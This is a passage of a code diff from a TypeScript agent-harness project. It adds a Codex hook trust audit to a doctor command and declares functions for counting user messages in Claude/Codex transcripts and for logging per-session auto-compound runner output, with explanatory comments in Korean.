+ catch { /* fail-open */ }
89
+ }
55
90
  /** [Codex Parity] 섹션 렌더링 — ~/.forgen/state/parity-result.json 신선도 검사 */
56
91
  function renderCodexParity() {
57
92
  console.log(' [Codex Parity]');
@@ -538,6 +573,8 @@ export async function runDoctor(opts = {}) {
538
573
  console.log(' Unable to read host evidence data.');
539
574
  }
540
575
  console.log();
576
+ // [Codex Hooks] — ADR-014 D4 trust 감사
577
+ await renderCodexHookTrust();
541
578
  // [Codex Parity] — parity-result.json 신선도 검사 (v0.4.2 패턴 확장)
542
579
  renderCodexParity();
543
580
  console.log();
@@ -1,5 +1,21 @@
1
1
  import type { V1HarnessContext } from './harness.js';
2
2
  import type { RuntimeHost } from './types.js';
3
+ /**
4
+ * 사용자 메시지 수 카운트 (streaming).
5
+ *
6
+ * Audit fix #8 (2026-04-21): 이전에는 `fs.readFileSync(transcript, 'utf-8')`로
7
+ * 파일 전체를 메모리에 올렸다. 수백 MB 규모 transcript에서는 heap spike가
8
+ * 발생했고, 카운트 외엔 내용이 필요 없으니 streaming line-by-line로 충분하다.
9
+ */
10
+ /**
11
+ * 0.4.6 — claude/codex 양 schema 호환.
12
+ *
13
+ * Claude JSONL: {type: 'user' | 'queue-operation', ...}
14
+ * Codex JSONL: {type: 'response_item', payload: {role: 'user' | 'developer' | 'assistant', ...}}
15
+ *
16
+ * 단일 함수에서 둘 다 처리 — schema 자동 감지.
17
+ */
18
+ export declare function countUserMessages(transcriptPath: string): Promise<number>;
3
19
  /** runAutoCompound 결과 — sweep(무인 cron)이 실제 spawn 만 기록하도록 상태 반환. */
4
20
  export type AutoCompoundStatus = 'spawned' | 'skipped-inflight' | 'skipped-dedup' | 'failed';
5
21
  /**
@@ -22,6 +38,16 @@ export type AutoCompoundStatus = 'spawned' | 'skipped-inflight' | 'skipped-dedup
22
38
  export declare function claimAutoCompoundInflight(sessionId: string, now?: number): boolean;
23
39
  /** in-flight 슬롯 해제 (spawn 실패 시 재시도 가능하도록). */
24
40
  export declare function releaseAutoCompoundInflight(sessionId: string): void;
41
+ /**
42
+ * ~/.forgen/state/auto-compound/<sessionId>.log — 세션별 러너 로그 경로.
43
+ *
44
+ * 결함2 관측성 fix (2026-08-18): 이전엔 detached spawn 을 `stdio: 'ignore'` 로
45
+ * 실행해 러너의 stdout/stderr(진단 메시지 포함)를 통째로 버렸다. 그 결과 solution
46
+ * extraction 이 98/98 sweep 에서 `extractedSolutions=0` 을 기록해도 원인을 알 방법이
47
+ * 없었다(완전 무음 실패). 이제 fd 를 파일로 열어 넘겨 러너의 모든 출력을 세션별
48
+ * 로그로 남긴다 — 다음 실패 모드를 디버그 가능하게 만드는 전제 조건.
49
+ */
50
+ export declare function autoCompoundLogPath(sessionId: string): string;
25
51
  export declare function runAutoCompound(cwd: string, transcriptPath: string, sessionId: string, promptCount?: number): AutoCompoundStatus;
26
52
  /**
27
53
  * Plan B-1: 세션 transcript 사후 스캔으로 rate-limit 감지.